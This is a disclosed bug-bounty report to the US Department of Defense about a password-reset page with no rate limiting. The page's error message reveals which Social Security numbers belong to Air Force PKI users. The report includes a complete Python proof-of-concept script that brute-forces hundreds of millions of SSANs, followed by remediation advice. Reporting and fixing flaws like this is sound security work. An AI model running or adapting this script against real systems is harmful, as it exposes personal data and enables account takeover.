Lack of rate limiting in https://███/PKI/PassReset.aspx leads to PII disclosure and potential account takeover

Disclosed: 2024-10-25 16:05:12 By hypervis0r To deptofdefense
Critical
Vulnerability Details
The password reset functionality of AFPC Secure is intended to be used by users who do not have a PKI credential for AFPC secure. It allows a user to provide their SSAN and Mother's Maiden Name to reset their password. The issue lies in the fact that if an SSAN for a user with an active PKI credential is found, the system will inform the user of that fact with the following error message: ``` Your account was found, but our records indicate you are either Military, Civilian, or a Contractor with a CAC, which you must use to reset your password. For more information, please click the link above labeled "Help with accessing AFPCSecure using a CAC" ``` Additionally, there is no rate limiting done for this site, meaning an attacker can brute force through approximately 772,000,000 social security numbers to find SSANs for active U.S. Air Force personnel. Furthermore, if any SSANs are found that aren't tied to active PKI credentials (i.e. authorized UserId/Password users, POW-MIA Next of Kin users), an attacker could potentially trigger a password reset by brute forcing the mother's maiden name field (for example, going through most common last names). Please see the steps to reproduce for a proof-of-concept script that brute forces SSANs with the password reset functionality. ## Impact This vulnerability can lead to the exposure of personally identifiable information for U.S. Air Force personnel, and can potentially lead to an account takeover in the right circumstances. ## System Host(s) ███ ## Affected Product(s) and Version(s) ## CVE Numbers ## Steps to Reproduce See the following Python script for a proof-of-concept. The script will brute force through 772,000,000 SSANs by default, you can adjust the minimum and maximum search range on line 87. Uncomment line 84 to do a single SSAN search. ```python import requests from tqdm import tqdm from bs4 import BeautifulSoup import urllib import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Get all the hidden ASP.NET inputs def __get_hidden_input(content): """ Return the dict contain the hidden input """ tags = dict() soup =BeautifulSoup(content, 'html.parser') hidden_tags = soup.find_all('input', type='hidden') # print(*hidden_tags) for tag in hidden_tags: tags[tag.get('name')] = tag.get('value') return tags url = "https://█████" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36"} session = requests.Session() # Simulate ASP.NET post back function def doPostBack(url, data): resp = session.get(url, headers=headers, verify=False) asp_info = __get_hidden_input(resp.text) asp_info.update(data) return session.post(url, data=asp_info, headers=headers, verify=False) # Click check portal button data = {"btnOK": "OK"} resp = doPostBack(url + "/CheckPortal.aspx", data) # Go to forgot password page data = {"__EVENTTARGET": "ctl00$cphPage$btnForgotPassword"} resp = doPostBack(url + "/PKI/default.aspx", data) # Go to password reset page data = {"ctl00$cphPage$btnPOW": "Online Password Reset"} resp = doPostBack(url + "/PKI/PassReset1.aspx", data) print(resp.text) # Get the ASP.NET inputs for the password reset page asp_info = __get_hidden_input(resp.text) def range_search(min=0, max=772000000): for ssan in tqdm(range(min, max)): data = asp_info data["ctl00$cphPage$txtSSAN"] = str(ssan).zfill(9) data["ctl00$phPage$txtMMN"] = "NONEXISTANT" data["ctl00$cphPage$btnSubmit"] = "Submit" resp = session.post(url + "/PKI/PassReset.aspx", data=data, verify=False, allow_redirects=False) if resp.status_code != 200: print(f"!! Error, resp code {resp.status_code}\n{resp.text}") if ("SSAN Does not match a ssan in our records." not in resp.text): print(f"[+] Found potential SSAN: {str(ssan).zfill(9)}") def single_search(ssan): data = asp_info data["ctl00$cphPage$txtSSAN"] = str(ssan).zfill(9) data["ctl00$phPage$txtMMN"] = "NONEXISTANT" data["ctl00$cphPage$btnSubmit"] = "Submit" resp = session.post(url + "/PKI/PassReset.aspx", data=data, verify=False, allow_redirects=False) print(resp.text) if resp.status_code != 200: print(f"!! Error, resp code {resp.status_code}\n{resp.text}") if ("SSAN Does not match a ssan in our records." not in resp.text): print(f"[+] Found potential SSAN: {str(ssan).zfill(9)}") # Single search, provide SSAN to test #single_search(555001337) # Range search, specify min/max to set range range_search() ``` ## Suggested Mitigation/Remediation Actions Implement a rate limit for https://███████/. Additionally, adjust the error message to not give out more information than necessary.
Actions
View on HackerOne
Report Stats
  • Report ID: 2748003
  • State: Closed
  • Substate: resolved
  • Upvotes: 68
Share this report